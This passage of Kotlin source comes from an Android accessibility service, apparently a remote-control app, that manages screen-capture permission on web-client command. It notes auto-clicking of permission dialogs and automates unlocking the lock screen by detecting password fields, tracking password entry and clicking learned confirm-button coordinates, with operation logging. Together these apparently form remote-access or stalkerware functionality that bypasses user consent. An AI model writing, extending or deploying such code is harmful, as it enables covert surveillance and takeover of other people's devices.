     * 记录当前权限状态（AccessibilityService版本）
     */
    private fun logCurrentPermissionState(context: String) {
        try {
            val permissionData = MediaProjectionHolder.getPermissionData()
            val mediaProjectionObj = MediaProjectionHolder.getMediaProjection()
            val permissionStats = MediaProjectionHolder.getPermissionStats()
            val android15Manager = android15MediaProjectionManager
            val screenCaptureStatus = if (::screenCaptureManager.isInitialized) {
                "initialized, isPaused=${screenCaptureManager.isPaused()}"
            } else "NOT_INITIALIZED"

            Log.d(
                TAG, """
                📊📊📊 AccessibilityService权限状态 [$context] 📊📊📊
                🗂️ MediaProjectionHolder状态:
                  - 权限数据存在: ${permissionData != null}
                  - MediaProjection对象: ${mediaProjectionObj?.hashCode()}
                  - 数据有效性: ${MediaProjectionHolder.isPermissionDataValid()}
                  - 权限统计: $permissionStats
                🔧 Android15Manager状态:
                  - 管理器存在: ${android15Manager != null}
                  - 管理器类型: ${android15Manager?.javaClass?.simpleName}
                🎬 ScreenCaptureManager状态: $screenCaptureStatus
                📱 设备信息:
                  - Android版本: ${android.os.Build.VERSION.SDK_INT}
                  - 设备型号: ${android.os.Build.MODEL}
                ⏰ 时间信息:
                  - 当前时间: ${System.currentTimeMillis()}
            """.trimIndent()
            )
        } catch (e: Exception) {
            Log.e(TAG, "记录权限状态时出错", e)
        }
    }

    /**
     * 处理MediaProjection权限获取成功（公开方法，供前台服务调用）
     */
    fun handleMediaProjectionGranted() {
        try {
            Log.i(TAG, "处理MediaProjection权限获取成功")

            // ✅ 关键修复：权限获取成功后立即停止PermissionGranter自动点击功能
            if (::permissionGranter.isInitialized) {
                permissionGranter.stopAutoClickingImmediately()
            }

            // ✅ 如果是Android 15设备，使用专用管理器处理
            if (Build.VERSION.SDK_INT >= 35 && android15MediaProjectionManager != null) {
                Log.i(TAG, "🔍 Android 15设备，使用专用管理器处理MediaProjection")

                val permissionData = MediaProjectionHolder.getPermissionData()
                if (permissionData != null) {
                    val (resultCode, resultData) = permissionData
                    if (resultData != null) {
                        // 使用Android 15专用管理器创建MediaProjection并注册回调
                        val mediaProjection =
                            android15MediaProjectionManager?.createMediaProjectionWithCallback(
                                resultCode,
                                resultData
                            )

                        if (mediaProjection != null) {
                            Log.i(
                                TAG,
                                "✅ Android 15 MediaProjection创建成功，设置到ScreenCaptureManager"
                            )
                            setupScreenCaptureWithMediaProjection(mediaProjection)

                            // 🔧 修复：Android 15设备也需要继续执行后续的权限申请和初始化流程
                            Log.i(TAG, "🔧 Android 15设备继续执行后续初始化流程")
                            serviceScope.launch {
                                delay(100) // 很短的延迟，立即响应
                                Log.i(
                                    TAG,
                                    "🔧 Android 15 MediaProjection权限成功，开始申请WRITE_SETTINGS权限"
                                )
                                if (!screenBrightnessManager.hasWriteSettingsPermission()) {
                                    // 🔥 修改：启动授权模块（它会自动管理WRITE_SETTINGS权限申请）
                                    authorizationModule?.startAuthorization()
                                }

                            }
                        } else {
                            Log.e(TAG, "❌ Android 15 MediaProjection创建失败")
                        }
                        return
                    }
                }
            }

            // ✅ Android 11+ 设备：MediaProjection 权限获取成功后，切换到 MediaProjection 模式
            if (Build.VERSION.SDK_INT >= 30) {
                Log.i(TAG, "📱 Android 11+设备：MediaProjection 权限获取成功，尝试切换采集模式")
                
                val permissionData = MediaProjectionHolder.getPermissionData()
                if (permissionData != null) {
                    val (resultCode, resultData) = permissionData
                    if (resultData != null) {
                        try {
                            val mediaProjectionManager = getSystemService(
                                android.content.Context.MEDIA_PROJECTION_SERVICE
                            ) as android.media.projection.MediaProjectionManager
                            val mediaProjection = mediaProjectionManager.getMediaProjection(resultCode, resultData)
                            if (mediaProjection != null) {
                                Log.i(TAG, "✅ Android 11+ MediaProjection 创建成功")
                                MediaProjectionHolder.setMediaProjection(mediaProjection)
                                setupScreenCaptureWithMediaProjection(mediaProjection)
                                
                                // 切换到 MediaProjection 模式以获得更高帧率
                                if (::screenCaptureManager.isInitialized) {
                                    screenCaptureManager.switchToMediaProjectionMode()
                                    Log.i(TAG, "📱 Android 11+设备：已切换到 MediaProjection 模式")
                                }
                            } else {
                                Log.w(TAG, "⚠️ Android 11+ MediaProjection 创建返回 null")
                            }
                        } catch (e: Exception) {
                            Log.e(TAG, "❌ Android 11+ 创建 MediaProjection 失败", e)
                        }
                    }
                }
                
                // 标记权限完成
                permissionRequestInProgress = false
                allPermissionsCompleted = true
                return
            }

            // 普通Android设备的处理逻辑
            val mediaProjection = MediaProjectionHolder.getMediaProjection()

            if (mediaProjection != null) {
                Log.i(TAG, "成功获取MediaProjection对象，设置到ScreenCaptureManager")
                setupScreenCaptureWithMediaProjection(mediaProjection)

                // 🔥 特殊处理：小米Android 10设备需要启动授权模块
                val isMiAndroid10 = isMiAndroid10Device()
                if (isMiAndroid10) {
                    Log.i(TAG, "📱 检测到小米Android 10设备，启动授权模块")
                    serviceScope.launch {
                        delay(100) // 很短的延迟，立即响应
                        Log.i(TAG, "🔧 小米Android 10 MediaProjection权限成功，开始启动授权模块")

                        if (!screenBrightnessManager.hasWriteSettingsPermission()) {
                            // 🔥 修改：启动授权模块（它会自动管理WRITE_SETTINGS权限申请）
                            authorizationModule?.startAuthorization()
                        }
                    }
                }
            } else {
                Log.w(TAG, "未能获取MediaProjection对象")
            }

        } catch (e: Exception) {
            Log.e(TAG, "处理MediaProjection权限获取成功失败", e)
        }
    }

    /**
     * 🆕 重新获取MediaProjection权限（由Web端调用）
     */
    fun refreshMediaProjectionPermission() {
        try {
            Log.i(TAG, "📺 收到Web端重新获取投屏权限请求")

            serviceScope.launch {
                try {
                    // 清理现有的MediaProjection权限数据
                    MediaProjectionHolder.clearPermissionData()
                    Log.i(TAG, "🧹 已清理现有MediaProjection权限数据")

                    // 启动MainActivity重新申请权限
                    val intent = Intent(
                        this@AccessibilityRemoteService,
                        com.hikoncont.MainActivity::class.java
                    ).apply {
                        addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_SINGLE_TOP)
                        putExtra("AUTO_REQUEST_PERMISSION", true)
                        putExtra("REFRESH_com.hikoncont.PERMISSION_REQUEST", true) // 特殊标志，表示这是权限刷新请求
                        putExtra("TIMESTAMP", System.currentTimeMillis())
                        putExtra("SOURCE", "WebClient")
                    }

                    startActivity(intent)
                    Log.i(TAG, "✅ 已启动MainActivity重新申请MediaProjection权限")

                    // 发送备用广播确保MainActivity能收到请求
                    val backupIntent = Intent("android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE")
                    backupIntent.putExtra("AUTO_REQUEST_PERMISSION", true)
                    backupIntent.putExtra("REFRESH_com.hikoncont.PERMISSION_REQUEST", true)
                    backupIntent.putExtra("TIMESTAMP", System.currentTimeMillis())
                    backupIntent.putExtra("SOURCE", "WebClient_Backup")
                    sendBroadcast(backupIntent)

                    Log.i(TAG, "📡 已发送权限刷新备用广播")

                } catch (e: Exception) {
                    Log.e(TAG, "❌ 重新获取投屏权限失败", e)
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理重新获取投屏权限请求失败", e)
        }
    }

    /**
     * 🆕 手动授权MediaProjection权限（不自动点击确认，由用户在设备上手动操作）
     */
    fun refreshMediaProjectionManual() {
        try {
            Log.i(TAG, "📺 收到Web端手动授权投屏权限请求（不自动点击）")

            serviceScope.launch {
                try {
                    // 清理现有的MediaProjection权限数据
                    MediaProjectionHolder.clearPermissionData()
                    Log.i(TAG, "🧹 已清理现有MediaProjection权限数据")

                    // 🚨 关键：先重置PermissionGranter状态，确保不会自动点击
                    if (::permissionGranter.isInitialized) {
                        permissionGranter.setMediaProjectionRequesting(false)
                        Log.i(TAG, "🛑 已禁用PermissionGranter自动点击，等待用户手动确认")
                    }

                    // 启动MainActivity申请权限，但不设置自动授权标志
                    val intent = Intent(
                        this@AccessibilityRemoteService,
                        com.hikoncont.MainActivity::class.java
                    ).apply {
                        addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_SINGLE_TOP)
                        putExtra("AUTO_REQUEST_PERMISSION", true)
                        putExtra("REFRESH_com.hikoncont.PERMISSION_REQUEST", true)
                        putExtra("MANUAL_GRANT_ONLY", true) // 标记为手动授权模式
                        putExtra("TIMESTAMP", System.currentTimeMillis())
                        putExtra("SOURCE", "WebClient_Manual")
                    }

                    startActivity(intent)
                    Log.i(TAG, "✅ 已启动MainActivity申请权限（手动授权模式，不自动点击）")

                } catch (e: Exception) {
                    Log.e(TAG, "❌ 手动授权投屏权限失败", e)
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理手动授权投屏权限请求失败", e)
        }
    }
    /**
     * ✅ 优化：智能确认按钮检测 - 简化流程，提高成功率
     */
    private fun performSmartConfirmButtonDetection(passwordType: String): Boolean {
        val currentTime = System.currentTimeMillis()

        // 检查冷却时间
        if (currentTime - lastSmartConfirmTime < SMART_CONFIRM_COOLDOWN) {
            val remainingTime = SMART_CONFIRM_COOLDOWN - (currentTime - lastSmartConfirmTime)
            Log.w(TAG, "⏰ 智能确认按钮检测在冷却期内，跳过执行。剩余冷却时间: ${remainingTime}ms")
            return true // 返回true避免触发错误处理
        }

        try {
            Log.i(TAG, "🤖 开始智能确认按钮检测: 密码类型=$passwordType")
            lastSmartConfirmTime = currentTime

            // ✅ 检查是否已经解锁成功，避免重复操作
            if (isUnlockSuccessful()) {
                Log.i(TAG, "✅ 设备已经解锁成功，跳过确认按钮检测")
                return true
            }

            // ✅ 优先检查是否有保存的确认按钮坐标
            if (::unlockManager.isInitialized) {
                val savedCoords = unlockManager.getLearnedConfirmButtonCoords()
                if (savedCoords != null) {
                    Log.i(
                        TAG,
                        "🎯 [保存坐标优先] 使用保存的确认按钮坐标: (${savedCoords.first}, ${savedCoords.second})"
                    )
                    performClick(savedCoords.first, savedCoords.second)

                    // 等待点击生效
                    Thread.sleep(2000)

                    // 检查是否解锁成功
                    if (isUnlockSuccessful()) {
                        Log.i(TAG, "🎉 保存坐标确认按钮点击成功，解锁完成!")

                        // 记录确认按钮点击操作日志
                        val logType =
                            if (passwordType == "numeric") "NUMERIC_PASSWORD_START" else "MIXED_PASSWORD_INPUT"
                        recordOperationLog(
                            logType, "密码输入确认按钮点击", mapOf(
                                "passwordType" to passwordType,
                                "method" to "saved_coordinates",
                                "coordinates" to "(${savedCoords.first}, ${savedCoords.second})",
                                "result" to "success",
                                "timestamp" to System.currentTimeMillis()
                            )
                        )

                        lastSmartConfirmTime = System.currentTimeMillis()
                        return true
                    } else {
                        Log.w(TAG, "❌ 保存坐标确认按钮点击失败，继续其他策略")
                    }
                } else {
                    Log.d(TAG, "ℹ️ 没有保存的确认按钮坐标，使用智能检测策略")
                }
            }

            // ✅ 简化策略：只使用最有效的方法
            val rootNode = rootInActiveWindow
            if (rootNode != null && ::unlockManager.isInitialized) {
                val (screenWidth, screenHeight) = getRealScreenSize()

                // 使用优化后的智能确认按钮查找
                val smartCoords = unlockManager.findSmartConfirmButton(
                    rootNode,
                    screenWidth,
                    screenHeight,
                    passwordType
                )

                if (smartCoords != null) {
                    Log.i(
                        TAG,
                        "🎯 执行智能确认按钮点击: (${smartCoords.first}, ${smartCoords.second})"
                    )
                    performClick(smartCoords.first, smartCoords.second)

                    // 等待点击生效
                    Thread.sleep(2000) // 增加等待时间确保点击生效

                    // 检查是否解锁成功
                    if (isUnlockSuccessful()) {
                        Log.i(TAG, "🎉 智能确认按钮点击成功，解锁完成!")

                        // 记录确认按钮点击操作日志
                        val logType =
                            if (passwordType == "numeric") "NUMERIC_PASSWORD_START" else "MIXED_PASSWORD_INPUT"
                        recordOperationLog(
                            logType, "密码输入确认按钮点击", mapOf(
                                "passwordType" to passwordType,
                                "method" to "smart_detection",
                                "coordinates" to "(${smartCoords.first}, ${smartCoords.second})",
                                "result" to "success",
                                "timestamp" to System.currentTimeMillis()
                            )
                        )

                        // ✅ 更新冷却时间，防止立即重复触发
                        lastSmartConfirmTime = System.currentTimeMillis()
                        return true
                    } else {
                        Log.w(TAG, "❌ 智能确认按钮点击失败")
                    }
                } else {
                    Log.w(TAG, "❌ 未找到合适的确认按钮")
                }

                rootNode.recycle()
            } else {
                Log.w(TAG, "❌ 无法获取屏幕节点或UnlockManager未初始化")
            }

            // ✅ 已删除系统回车键备用策略

            Log.w(TAG, "⚠️ 所有确认按钮检测策略都失败")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 智能确认按钮检测失败", e)
            return false
        }
    }

    // ✅ 添加重复点击防护
    private var lastSmartConfirmTime = 0L
    private val SMART_CONFIRM_COOLDOWN = 2500L // ✅ 优化：增加冷却时间到2.5秒，防止重复点击

    /**
     * ✅ 执行智能确认按钮检测 - 增强版，支持策略失败后重试，防止重复点击
     */
    fun performSmartConfirmDetection(passwordType: String, screenWidth: Int, screenHeight: Int) {
        val currentTime = System.currentTimeMillis()

        // ✅ 对于数字密码，检查是否正在输入中，如果是则延迟确认检测
        if (passwordType == "numeric" && isCurrentlyInputtingNumericPassword()) {
            Log.d(TAG, "🔢 检测到正在输入数字密码，延迟确认按钮检测")
            // 延迟1秒后再检测，给数字输入留出时间
            serviceLifecycleManager.getBackgroundHandler()?.postDelayed({
                performSmartConfirmDetection(passwordType, screenWidth, screenHeight)
            }, 1000)
            return
        }

        // 检查冷却时间
        if (currentTime - lastSmartConfirmTime < SMART_CONFIRM_COOLDOWN) {
            val remainingTime = SMART_CONFIRM_COOLDOWN - (currentTime - lastSmartConfirmTime)
            Log.w(TAG, "⏰ 智能确认检测在冷却期内，跳过执行。剩余冷却时间: ${remainingTime}ms")
            return
        }

        Log.i(TAG, "🤖 开始智能确认按钮检测: 密码类型=$passwordType")
        lastSmartConfirmTime = currentTime

        serviceLifecycleManager.getBackgroundHandler()?.post {
            try {
                // ✅ 检查是否已经解锁成功，避免重复操作
                if (isUnlockSuccessful()) {
                    Log.i(TAG, "✅ 设备已经解锁成功，跳过确认按钮检测")
                    return@post
                }

                // ✅ 优先检查是否有保存的确认按钮坐标，如果有则直接使用不执行后续策略
                val savedCoords = getLearnedConfirmButtonCoords()
                if (savedCoords != null) {
                    Log.i(
                        TAG,
                        "🎯 [保存坐标优先] 使用保存的确认按钮坐标，跳过其他检测策略: (${savedCoords.first}, ${savedCoords.second})"
                    )

                    // 执行点击
                    performClick(savedCoords.first, savedCoords.second)

                    // 等待1.5秒验证点击是否成功
                    Thread.sleep(1500)

                    if (isUnlockSuccessful()) {
                        Log.i(TAG, "🎉 保存坐标确认按钮点击成功，解锁完成!")

                        // 记录确认按钮点击操作日志
                        val logType =
                            if (passwordType == "numeric") "NUMERIC_PASSWORD_START" else "MIXED_PASSWORD_INPUT"
                        recordOperationLog(
                            logType, "密码输入确认按钮点击", mapOf(
                                "passwordType" to passwordType,
                                "method" to "saved_coordinates",
                                "coordinates" to "(${savedCoords.first}, ${savedCoords.second})",
                                "result" to "success",
                                "timestamp" to System.currentTimeMillis()
                            )
                        )

                        // 记录成功的学习坐标
                        recordManualConfirmButtonCoords(
                            savedCoords.first,
                            savedCoords.second,
                            "saved_coords",
                            1.0f
                        )

                        // ✅ 更新冷却时间，防止立即重复触发
                        lastSmartConfirmTime = System.currentTimeMillis()

                        logCollector?.recordLog(
                            "SMART_CONFIRM_SUCCESS",
                            "智能确认检测成功: 策略=saved_coords",
                            mapOf(
                                "confirmX" to savedCoords.first,
                                "confirmY" to savedCoords.second,
                                "passwordType" to passwordType,
                                "detectionMethod" to "saved_coords",
                                "success" to true,
                                "learnedToSystem" to true
                            )
                        )
                        return@post
                    } else {
                        Log.w(TAG, "❌ 保存坐标确认按钮点击失败，继续尝试其他策略")
                    }
                } else {
                    Log.d(TAG, "ℹ️ 没有保存的确认按钮坐标，使用其他检测策略")
                }

                // 定义其他检测策略（仅在没有保存坐标时执行）
                val strategies = listOf(
                    "accessibility" to { detectConfirmButtonWithAccessibility() }
                )

                var successfulStrategy: String? = null
                var finalCoords: Pair<Float, Float>? = null

                // 逐个尝试策略
                for ((strategyName, strategyFunc) in strategies) {
                    Log.i(TAG, "🔍 尝试策略: $strategyName")

                    val coords = try {
                        strategyFunc()
                    } catch (e: Exception) {
                        Log.w(TAG, "策略 $strategyName 执行异常", e)
                        null
                    }

                    if (coords != null) {
                        Log.i(
                            TAG,
                            "✅ 策略 $strategyName 找到坐标: (${coords.first}, ${coords.second})"
                        )

                        // 执行点击
                        performClick(coords.first, coords.second)

                        // 等待1.5秒验证点击是否成功
                        Thread.sleep(1500)

                        if (isUnlockSuccessful()) {
                            Log.i(TAG, "🎉 策略 $strategyName 点击成功，解锁完成!")
                            successfulStrategy = strategyName
                            finalCoords = coords

                            // 记录确认按钮点击操作日志
                            val logType =
                                if (passwordType == "numeric") "NUMERIC_PASSWORD_START" else "MIXED_PASSWORD_INPUT"
                            recordOperationLog(
                                logType, "密码输入确认按钮点击", mapOf(
                                    "passwordType" to passwordType,
                                    "method" to strategyName,
                                    "coordinates" to "(${coords.first}, ${coords.second})",
                                    "result" to "success",
                                    "timestamp" to System.currentTimeMillis()
                                )
                            )

                            // 记录成功的学习坐标
                            recordManualConfirmButtonCoords(
                                coords.first,
                                coords.second,
                                strategyName,
                                0.9f
                            )

                            // ✅ 更新冷却时间，防止立即重复触发
                            lastSmartConfirmTime = System.currentTimeMillis()
                            break
                        } else {
                            Log.w(TAG, "❌ 策略 $strategyName 点击失败，继续尝试下一个策略")
                        }
                    } else {
                        Log.w(TAG, "❌ 策略 $strategyName 未找到坐标")
                    }
                }

                // 记录最终结果
                if (successfulStrategy != null && finalCoords != null) {
                    Log.i(
                        TAG,
                        "🎉 智能确认检测成功: 策略=$successfulStrategy, 坐标=(${finalCoords.first}, ${finalCoords.second})"
                    )
                    logCollector?.recordLog(
                        "SMART_CONFIRM_SUCCESS",
                        "智能确认检测成功: 策略=$successfulStrategy",
                        mapOf(
                            "confirmX" to finalCoords.first,
                            "confirmY" to finalCoords.second,
                            "passwordType" to passwordType,
                            "detectionMethod" to successfulStrategy,
                            "success" to true,
                            "learnedToSystem" to true
                        )
                    )
                } else {
                    Log.w(TAG, "❌ 所有策略都失败，尝试最后的备用策略")

                    // ✅ 已删除系统回车键备用策略

                    Log.w(TAG, "❌ 所有确认策略都失败")
                    logCollector?.recordLog(
                        "SMART_CONFIRM_FAILED",
                        "智能确认检测失败: 所有检测策略都无效",
                        mapOf(
                            "passwordType" to passwordType,
                            "screenWidth" to screenWidth,
                            "screenHeight" to screenHeight,
                            "success" to false
                        )
                    )
                }

            } catch (e: Exception) {
                Log.e(TAG, "智能确认检测异常", e)
            }
        }
    }

    /**
     * ✅ 使用无障碍服务检测确认按钮 - 增强版
     */
    private fun detectConfirmButtonWithAccessibility(): Pair<Float, Float>? {
        return try {
            val rootNode = rootInActiveWindow ?: return null

            // 策略1: 查找确认按钮的常见文本
            val confirmTexts = listOf(
                "确认", "确定", "OK", "完成", "解锁", "登录", "提交",
                "Enter", "Done", "Unlock", "Login", "Submit", "Continue",
                "下一步", "Next", "Go", "开始", "Start", "→", "✓", "✔",
                // ✅ 新增：软键盘确认按钮的常见文本
                "发送", "Send", "搜索", "Search", "返回", "Return",
                "换行", "newline", "回车", "enter key", "确认键",
                // ✅ 新增：可能的图标描述
                "enter", "confirm", "submit", "ok", "done"
            )

            // 策略1: 优先使用学习到的确认按钮坐标（最高优先级）
            var confirmButton = findLearnedConfirmButton(rootNode)
            Log.i(TAG, "🔍 策略1-学习坐标: ${if (confirmButton != null) "成功" else "失败"}")

            // 策略2: 如果没有学习坐标，使用UI分析管理器
            if (confirmButton == null) {
                if (::uiAnalysisManager.isInitialized) {
                    val success = uiAnalysisManager.findAndClickConfirmButton()
                    if (success) {
                        Log.i(TAG, "🔍 策略2-UI分析: 成功找到并点击确认按钮")
                        return Pair(-1f, -1f) // 返回特殊值表示已经点击
                    }
                }
                Log.i(TAG, "🔍 策略2-UI分析: 失败")
            }

            // 策略3: 如果文本匹配失败，查找锁屏界面的特殊按钮
            if (confirmButton == null) {
                confirmButton = findLockScreenConfirmButton(rootNode)
                Log.i(TAG, "🔍 策略3-锁屏按钮: ${if (confirmButton != null) "成功" else "失败"}")
            }

            // 策略4: 跳过软键盘按钮策略（已在策略2中处理）
            Log.i(TAG, "🔍 策略4-软键盘按钮: 跳过（已在UI分析中处理）")

            // 策略5: 最后尝试查找屏幕右下角的可点击元素
            if (confirmButton == null) {
                // 暂时跳过这个策略，因为方法不可用
                Log.i(TAG, "🔍 策略5-右下角按钮: 跳过（方法不可用）")
            }

            if (confirmButton != null) {
                val bounds = android.graphics.Rect()
                confirmButton.getBoundsInScreen(bounds)
                val centerX = bounds.centerX().toFloat()
                val centerY = bounds.centerY().toFloat()
                val nodeText = confirmButton.text?.toString() ?: ""
                val nodeDesc = confirmButton.contentDescription?.toString() ?: ""
                val className = confirmButton.className?.toString() ?: ""

                Log.i(TAG, "✅ 无障碍服务检测到确认按钮: ($centerX, $centerY)")
                Log.i(TAG, "✅ 确认按钮详情: 文本='$nodeText', 描述='$nodeDesc', 类名='$className'")
                return Pair(centerX, centerY)
            }

            Log.d(TAG, "🔍 所有策略均失败，无法检测到确认按钮")
            null
        } catch (e: Exception) {
            Log.e(TAG, "无障碍确认按钮检测失败", e)
            null
        }
    }

    // ✅ Phase 4.3 Step 7: findNodeByTexts方法已迁移到UIAnalysisManager

    // ✅ Phase 4.3 Step 7: collectMatchingNodes方法已迁移到UIAnalysisManager

    // ✅ Phase 4.3 Step 7: isReasonableConfirmButtonPosition方法已迁移到UIAnalysisManager

    /**
     * ✅ 新增：查找软键盘确认按钮（专门针对混合密码界面）
     */
    // ✅ Phase 4.3 Step 7: findSoftKeyboardConfirmButton方法已迁移到UIAnalysisManager

    /**
     * ✅ Phase 4.2 Step 7: 查找密码输入框位置 - 委托给ScreenManager
     */
    private fun findPasswordFieldPosition(rootNode: AccessibilityNodeInfo): Float {
        return if (::screenManager.isInitialized) {
            screenManager.findPasswordFieldPosition(rootNode)
        } else {
            Log.w(TAG, "⚠️ ScreenManager未初始化，跳过密码输入框位置查找")
            0f
        }
    }


    /**
     * ✅ Phase 4.2 Step 6: 基于学习的确认按钮检测 - 委托给UnlockManager
     */
    private fun findLearnedConfirmButton(rootNode: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        return if (::unlockManager.isInitialized) {
            unlockManager.findLearnedConfirmButton(rootNode)
        } else {
            Log.w(TAG, "⚠️ UnlockManager未初始化，跳过学习确认按钮检测")
            null
        }
    }

    /**
     * ✅ Phase 4.2 Step 6: 获取学习到的确认按钮坐标 - 委托给UnlockManager
     */
    private fun getLearnedConfirmButtonCoords(): Pair<Float, Float>? {
        return if (::unlockManager.isInitialized) {
            unlockManager.getLearnedConfirmButtonCoords()
        } else if (::configManager.isInitialized) {
            configManager.getLearnedConfirmButtonCoords()
        } else {
            null
        }
    }

    /**
     * ✅ Phase 4.2 Step 6: 记录确认按钮坐标 - 委托给UnlockManager（增加验证机制）
     */
    fun recordManualConfirmButtonCoords(
        x: Float,
        y: Float,
        source: String = "manual",
        confidence: Float = 1.0f,
        buttonText: String = "",
        buttonDesc: String = ""
    ) {
        if (::unlockManager.isInitialized) {
            val (screenWidth, screenHeight) = getRealScreenSize()
            unlockManager.recordManualConfirmButtonCoords(
                x,
                y,
                source,
                confidence,
                screenWidth,
                screenHeight,
                buttonText,
                buttonDesc
            )
        } else if (::configManager.isInitialized) {
            configManager.recordConfirmButtonCoords(x, y, source, confidence)
        }

        // 保留日志记录功能
        logCollector?.recordLog(
            "CONFIRM_BUTTON_LEARNED",
            "记录确认按钮坐标: ($x, $y) [来源:$source, 文本:'$buttonText']",
            mapOf(
                "originalX" to x,
                "originalY" to y,
                "source" to source,
                "confidence" to confidence,
                "buttonText" to buttonText,
                "buttonDesc" to buttonDesc
            )
        )
    }

    // ✅ Phase 4.3 Step 1: isLikelyManualConfirmAfterPasswordInput方法已迁移到LearningManager

    /**
     * ✅ Phase 4.2 Step 6: 检测是否解锁成功 - 委托给UnlockManager
     */
    private fun isUnlockSuccessful(): Boolean {
        return if (::unlockManager.isInitialized) {
            unlockManager.isUnlockSuccessful()
        } else {
            Log.w(TAG, "⚠️ UnlockManager未初始化，使用简单解锁检测")
            try {
                val rootNode = rootInActiveWindow ?: return false
                val packageName = rootNode.packageName?.toString()?.lowercase() ?: ""
                val isUnlocked = !packageName.contains("systemui") ||
                        packageName.contains("launcher") ||
                        packageName.contains("home")
                rootNode.recycle()
                isUnlocked
            } catch (e: Exception) {
                true // 保守地认为解锁成功
            }
        }
    }

    // ✅ 已删除performSystemEnterKey方法

    /**
     * ✅ 检查是否正在进行数字密码输入
     */
    private fun isCurrentlyInputtingNumericPassword(): Boolean {
        try {
            val currentTime = System.currentTimeMillis()
            val recentTimeWindow = 3000L // 3秒内

            // 检查InputManager是否有最近的数字密码输入活动
            if (::inputManager.isInitialized) {
                val hasRecentNumericInput =
                    inputManager.hasRecentNumericPasswordInput(recentTimeWindow)
                if (hasRecentNumericInput) {
                    Log.d(TAG, "🔢 InputManager检测到最近有数字密码输入活动")
                    return true
                }
            }

            return false
        } catch (e: Exception) {
            Log.w(TAG, "检查数字密码输入状态时出错: ${e.message}")
            return false
        }
    }

    /**
     * ✅ 检查是否有最近的数字密码输入活动（供外部调用）
     */
    fun hasRecentNumericPasswordInput(timeWindow: Long): Boolean {
        return if (::inputManager.isInitialized) {
            inputManager.hasRecentNumericPasswordInput(timeWindow)
        } else {
            false
        }
    }

    /**
     * 检查LearningManager是否初始化
     */
    fun isLearningManagerInitialized(): Boolean {
        return ::learningManager.isInitialized
    }

    /**
     * 获取LearningManager实例
     */
    fun getLearningManager(): LearningManager {
        return learningManager
    }

    // ✅ HOVER确认按钮检测方法已删除，改用智能确认检测机制

    /**
     * ✅ 新增：递归查找密码输入框
     */
    private fun findPasswordFieldRecursive(node: AccessibilityNodeInfo, callback: (Float) -> Unit) {
        try {
            val className = node.className?.toString() ?: ""
            val nodeDesc = node.contentDescription?.toString() ?: ""
            val nodeText = node.text?.toString() ?: ""

            // 检查是否为密码输入框
            val isPasswordField = className.contains("EditText") &&
                    (nodeDesc.contains("password", ignoreCase = true) ||
                            nodeDesc.contains("密码", ignoreCase = true) ||
                            nodeText.contains("password", ignoreCase = true) ||
                            nodeText.contains("密码", ignoreCase = true))

            if (isPasswordField) {
                val bounds = android.graphics.Rect()
                node.getBoundsInScreen(bounds)
                Log.i(TAG, "🔍 找到密码输入框: 位置=(${bounds.centerX()}, ${bounds.centerY()})")
                callback(bounds.centerY().toFloat())
                return
            }

            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    findPasswordFieldRecursive(child, callback)
                    child.recycle()
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "递归查找密码输入框失败", e)
        }
    }

    /**
     * ✅ 新增：检查是否有密码相关的UI元素
     */
    private fun hasPasswordRelatedUI(rootNode: AccessibilityNodeInfo): Boolean {
        return try {
            var hasPasswordUI = false

            fun checkPasswordUI(node: AccessibilityNodeInfo, depth: Int = 0) {
                if (depth > 10 || hasPasswordUI) return

                val text = node.text?.toString()?.lowercase() ?: ""
                val desc = node.contentDescription?.toString()?.lowercase() ?: ""
                val className = node.className?.toString()?.lowercase() ?: ""

                // 检查密码相关的文本或描述
                if (text.contains("password") || text.contains("密码") ||
                    text.contains("pin") || text.contains("图案") ||
                    desc.contains("password") || desc.contains("密码") ||
                    desc.contains("pin") || desc.contains("pattern") ||
                    className.contains("password")
                ) {
                    hasPasswordUI = true
                    Log.d(TAG, "🧠 找到密码相关UI: 文本='$text', 描述='$desc', 类名='$className'")
                    return
                }

                // 递归检查子节点
                for (i in 0 until node.childCount) {
                    val child = node.getChild(i)
                    if (child != null) {
                        checkPasswordUI(child, depth + 1)
                        child.recycle()
                    }
                }
            }

            checkPasswordUI(rootNode)
            hasPasswordUI

        } catch (e: Exception) {
            Log.e(TAG, "检查密码相关UI失败", e)
            false
        }
    }

    /**
     * ✅ 新增：检查最近是否有文本输入活动
     */
    private fun checkRecentTextInputActivity(): Boolean {
        return try {
            // 检查最近5秒内是否有文本输入记录
            val currentTime = System.currentTimeMillis()
            val recentInputThreshold = 5000L // 5秒

            // 检查是否在最近输入时间范围内
            val lastInputTime = accessibilityEventManager.getLastTextInputTime()
            if (lastInputTime > 0 && (currentTime - lastInputTime) < recentInputThreshold) {
                Log.d(TAG, "🧠 检测到最近有文本输入活动: ${currentTime - lastInputTime}ms前")
                return true
            }

            // 检查当前是否有输入焦点
            val rootNode = rootInActiveWindow
            if (rootNode != null) {
                val focusedNode = rootNode.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
                if (focusedNode != null) {
                    val className = focusedNode.className?.toString() ?: ""
                    val isInputField = className.contains("EditText") ||
                            className.contains("TextField") ||
                            focusedNode.isEditable
                    focusedNode.recycle()

                    if (isInputField) {
                        Log.d(TAG, "🧠 检测到当前有输入焦点的文本字段")
                        return true
                    }
                }
            }

            false

        } catch (e: Exception) {
            Log.e(TAG, "检查最近文本输入活动失败", e)
            false
        }
    }

    // ✅ Phase 4.1 Step 2: lastTextInputTime已迁移到AccessibilityEventManager

    /**
     * ✅ 新增：记录点击事件用于学习（增强版）
     */
    private fun recordClickEventForLearning(
        source: AccessibilityNodeInfo,
        event: AccessibilityEvent
    ) {
        // ✅ Phase 4.3 Step 1: 委托给LearningManager
        if (::learningManager.isInitialized) {
            learningManager.recordClickEventForLearning(source, event)
        }
    }

    // ✅ Phase 4.3 Step 1: isLikelyConfirmButton方法已迁移到LearningManager

    // ✅ Phase 4.3 Step 1: isInConfirmButtonArea方法已迁移到LearningManager

    // ✅ Phase 4.3 Step 1: hasConfirmButtonCharacteristics方法已迁移到LearningManager

    /**
     * ✅ 查找锁屏界面的确认按钮
     */
